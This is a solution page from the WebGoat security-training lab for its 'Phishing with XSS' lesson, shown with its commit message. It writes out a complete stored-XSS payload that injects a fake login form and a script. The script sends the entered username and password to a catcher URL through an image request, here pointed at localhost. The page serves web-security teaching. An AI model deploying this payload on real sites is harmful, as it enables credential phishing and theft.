5d930ec235
* Solutions added * Bugfixes * Introduction added (including how to start with webgoat and useful tools) * New lesson: Password strength * New lessons: Multi Level Login * Not yet working new lesson: Session fixation (inital release) git-svn-id: http://webgoat.googlecode.com/svn/trunk/webgoat@301 4033779f-a91e-0410-96ef-6bf7bf53c507
68 lines
3.6 KiB
HTML
68 lines
3.6 KiB
HTML
<html>
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<head>
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<meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1">
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<title>Solution Lab Block Stored XSS</title>
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<link rel="stylesheet" type="text/css" href="/WebGoat/lesson_solutions/formate.css">
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</head>
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<body>
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<p><b>Lesson Plan Title:</b> Phishing with XSS</p>
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<p><b>Concept / Topic To Teach:</b><br/>
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It is always a good practice to validate all input on the
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server side. XSS can occur when unvalidated user input is used
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in an HTTP response. With the help of XSS you can do a Phishing
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Attack and add content to a page which looks official. It is very
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hard for a victim to determinate that the content is malicious.
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</p>
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<p><b>General Goal(s):</b><br/>
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The user should be able to add a form asking for username
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and password. On submit the input should be sent to
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http://localhost/WebGoat/catcher?PROPERTY=yes&user=catchedUserName&password=catchedPasswordName
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</p>
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<b>Solution:</b><br/>
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With XSS it is possible to add further elements to an exsisting Page.
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This solution consists of two parts you have to combine:
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<ul>
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<li>A form the victim has to fill in</li>
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<li>A script which reads the form and sends the gathered information to the attacker</li>
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</ul>
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A Form whith username and password could look like this:<br/>
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<p>
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<form><br><br><HR><H3>This feature requires account login:</H3
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><br><br>Enter Username:<br><input type="text" id="user"
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name="user"><br>Enter Password:<br><input type="password"
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name = "pass"><br></form><br><br><HR>
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<br/><br/>Search for this term and you will see that a form is added to the page.
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</p>
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Now you need a script:
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<p>
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<script>function hack(){ alert("Had this been a real attack... Your credentials were just stolen."
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User Name = " + document.forms[0].user.value + "Password = " + document.forms[0].pass.value);
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XSSImage=new Image; XSSImage.src="http://localhost/WebGoat/catcher?PROPERTY=yes&user="+
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document.forms[0].user.value + "&password=" + document.forms[0].pass.value + "";}
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</script>
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</p>
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<p>
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This script will read the input from the form and send it to the catcher of WebGoat.<br/><br/>
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The last step is to put things together. Add a Button to the form which
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calls the script. You can reach this wicht the onclick="myFunction" handler.
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<p>
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The final String looks like this:<br/>
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<script>function hack(){ alert("Had this been a real attack... Your credentials were just stolen.
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User Name = " + document.forms[0].user.value + "Password = " + document.forms[0].pass.value);
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XSSImage=new Image; XSSImage.src="http://localhost/WebGoat/catcher?PROPERTY=yes&user="+
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document.forms[0].user.value + "&password=" + document.forms[0].pass.value + "";}
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</script><form><br><br><HR><H3>This feature requires account login:</H3
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><br><br>Enter Username:<br><input type="text" id="user"
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name="user"><br>Enter Password:<br><input type="password"
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name = "pass"><br><input type="submit" name="login"
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value="login" onclick="hack()"></form><br><br><HR>
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</p>
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Search for this String and you will see a form asking for your username and password.
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Fill in these fields and click on the Login Button.
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</body>
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</html>
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